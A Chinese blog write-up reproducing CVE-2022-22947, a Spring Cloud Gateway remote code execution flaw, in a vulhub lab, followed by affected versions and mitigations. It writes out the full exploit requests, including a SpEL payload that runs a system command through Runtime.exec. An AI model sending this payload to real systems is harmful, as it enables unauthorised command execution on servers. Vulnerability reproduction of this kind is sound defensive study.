【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

admin 2022年3月4日20:11:35评论319 views字数 3369阅读11分13秒阅读模式

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

0x01 前言

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。
据公告描述,当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。


0x02 环境搭建

利用docker搭建漏洞复现环境

git pul  // 更新vulhub

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现拉取漏洞环境

docker-compose  up -d

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

访问https://ip:8080

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

0x03 漏洞复现

添加包含恶意的路由

POST /actuator/gateway/routes/EchoSec HTTP/1.1Host: ip:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 328
{ "id": "EchoSec", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}" } }], "uri": "http://example.com"

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

刷新网关路由

POST /actuator/gateway/refresh HTTP/1.1Host: ip:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

命令执行成功

GET /actuator/gateway/routes/EchoSec HTTP/1.1Host: ip:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现


删除我们添加的恶意路由

DELETE /actuator/gateway/routes/EchoSec HTTP/1.1Host: ip:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

0x04 漏洞影响

影响版本

Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.0.7Spring Cloud Gateway 其他已不再更新的版本

安全版本

Spring Cloud Gateway >= 3.1.1Spring Cloud Gateway >= 3.0.7

0x05 修复建议

官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本
临时缓解措施:1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。

0x06 参考链接

https://mp.weixin.qq.com/s/vlTilV9SFGzXMiO8J6-BvAhttps://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947


【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞

免杀基础教学(上卷)

免杀基础教学(下卷)

走过路过的大佬们留个关注再走呗【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

往期文章有彩蛋哦【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

一如既往的学习,一如既往的整理,一如即往的分享【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

如侵权请私聊公众号删文


原文始发于微信公众号(渗透Xiao白帽):【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月4日20:11:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【CVE-2022-22947】Spring Cloud Gateway 远程代码执行漏洞复现https://cn-sec.com/archives/815446.html

发表评论

匿名网友 填写信息